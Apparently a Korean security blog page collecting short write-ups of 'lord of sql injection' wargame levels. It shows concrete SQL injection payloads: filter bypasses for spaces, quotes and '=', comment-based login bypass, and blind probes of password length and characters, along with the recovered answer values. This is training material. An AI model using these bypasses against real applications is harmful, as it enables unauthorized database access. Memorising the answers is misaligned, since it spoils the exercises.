일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- lord of sql injection
- kibana
- InsecureBank
- SQL Injection
- igoat
- vulnhub
- ctf
- diva
- MFT
- Suninatas
- beebox
- Strings
- otter
- 2018
- NTFS
- frida
- Docker
- Reflected XSS
- 파이썬
- CTF-d
- Volatility
- 안드로이드
- elasticsearch
- ESXi
- foremost
- Openstack
- 인시큐어뱅크
- XSS
- logstash
- base64
- Today
- Total
목록lord of sql injection (15)
Information Security

%, _(와일드 카드) a% : a로 시작하는 임의의 문자열 %a% : a가 들어가는 임의의 문자열 a_ : a로 시작하는 두 글자의 문자열 ?pw=% 입력 시 Hello guest 문자열이 출력되는 것을 알 수 있다. % 문자를 계속 늘려도 Hello guest만 출력이 되어 _ 7개 입력 시 메시가 출력되지 않았다. _ 8개 입력 시 Hello guest가 출력이 되어 pw 길이가 8이라는 것을 알 수 있다. 0-9, a-z, A-Z까지 전부 해보았만 Hello guest밖에 뜨지 않아 guest와 같이 앞부분이 비밀번호가 같다는 것을 알 고 832% 입력 시 정답이라는 것을 알 수 있다.

공백 우회 %0a, %0b, %0c, %0d, %09, (), /**/, + 빈칸을 우회해야 하기 때문에 %0b, %0c를 이용해 우회하면 풀리는 것을 알 수 있다.

빈칸 공백 우회 '' : (), /**/, %09, %0a, %0c, %0b, + no=1%0a||%0aid%0ain%0a("admin") 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(8) 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(6) 입력 시 메시지가 출력되지 않았다. ?pw=735c2773 값이라는 것을 알 수 있다.

'(싱글쿼터) 우회 "(더블쿼터), `, hex, binary, char() 사용 ascii() 우회 ord() 사용 ?no=0 or true 입력 시 Hello guest 메시지가 출력되는 것을 알 수 있다. ?no=1 or id like "admin" 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 8 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 9 입력 시 Hello guest가 출력되는 것을 알 수 있다. ?pw=1c62ba6f라는 것을 알 수 있다.

= 우회 like, between 사용 or, and 우회 and -> &&, or -> || 사용 substr right, mid, mid 사용 ?pw='||true%23을 입력 시 쿼리문이 참이 되면서 Hello guest를 출력한다. ?pw='||id like 'admin'%26%26 true%23 입력 시 Hello admin이 출력된다. ?pw'||id like 'admin'%26%26length(pw) like 8%23 입력 시 Hello admin이 출력되는 것으로 보아 패스워드 길이가 8이 참값이라는 것을 알 수 있다. ?pw'||id like 'admin'%26%26length(pw) like 9%23 입력 시 메시지가 출력되지 않아 거짓이라는 것을 알 수 있다. ?pw=88e3137f ..

and 1=0 전에 주석 처리를 통해 참을 만드면 해결되는 것 같다. pw=' or id='admin'# 주석처리를 하여 문제가 풀리는 것을 알 수 있다.

# : %23, ' : %27 , length, substr length(pw)=1#을 입력했는데 반응이 없었다. length(pw)=8#을 입력했는데 Hello admin 문구가 보이는 것을 알 수 있다. ascii(substr(pw,1,1))=50#을 입력했는데 Hello admin 메시지가 보인다. 패스워드 길이가 8자리라는 것을 알 수 있다. 파이썬 자동화를 통해 PW를 알아냈다. pw=295d5844라는 것을 알 수 있다.